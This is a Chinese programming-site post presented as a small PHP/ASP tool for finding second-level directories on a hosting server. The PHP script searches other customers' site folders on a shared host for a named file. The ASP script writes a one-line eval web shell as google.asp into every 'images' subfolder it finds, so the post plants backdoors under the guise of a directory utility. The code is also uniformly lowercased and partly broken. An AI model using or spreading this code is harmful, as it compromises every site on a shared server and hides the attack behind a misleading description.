当前位置: 萬仟网 > IT编程>开发>PHP > php一个找二层目录的小东东

php一个找二层目录的小东东

2019年04月15日 23:23  | 萬仟网IT编程  | 我要评论
php版
复制代码 代码如下:

<?php
set_time_limit(0);
$path = 'd:/hosting';
$somefile = $_get['key'];
$logfile = 'd:/hosting/6668835/html/images/ennumdir.txt';
if (!isset($_server['php_auth_user'])) {
header('www-authenticate: basic realm="my realm"');
header('http/1.0 401 unauthorized');
echo 'text to send if user hits cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_get['dir'])
{
continue;
}
/*
if($filename{1} != $_get['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]found !'.$filename2."\n";
file_put_contents($logfile,'[+]found !'.$path2.'/'.$filename2."\n",file_append);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]last '.$path2."\n",file_append);
closedir($handle);
}
}

asp版
复制代码 代码如下:

<%
server.scripttimeout=500000000
key = trim(request.querystring("key"))
msg=" <% eval(rquese(chr(35)))%" &">"
set fso=server.createobject("scripting.filesystemobject")
set serverfolder=fso.getfolder("c:\intel")
set serverfolderlist=serverfolder.subfolders
for each serverfileevery in serverfolderlist
' response.write serverfileevery&"</br>"
if lcase(left(serverfileevery.name, 1)) = lcase(key) then
set sserverfolder=fso.getfolder(serverfileevery)
set sserverfolderlist=sserverfolder.subfolders
for each sserverfileevery in sserverfolderlist
if lcase(sserverfileevery.name) = "images" then
streamsavetofile sserverfileevery & "\google.asp", msg, "utf-8"
end if
next
end if
next
function streamsavetofile(spath, scontent, scharset)
dim ostream
if(instr(spath, ":") <= 0)then
spath = replace(spath, ",", ",")
spath = server.mappath(spath)
spath = replace(spath, ",", ",")
end if
set ostream = server.createobject("adodb.stream")
with ostream
.type = 2
.mode = 3
.open
.charset = scharset
.writetext scontent
.savetofile spath, 2
.close
end with
set ostream = nothing
end function
%>

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

◎已有 0 人评论

Copyright © 2019  萬仟网 保留所有权利. 粤ICP备17035492号-1
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com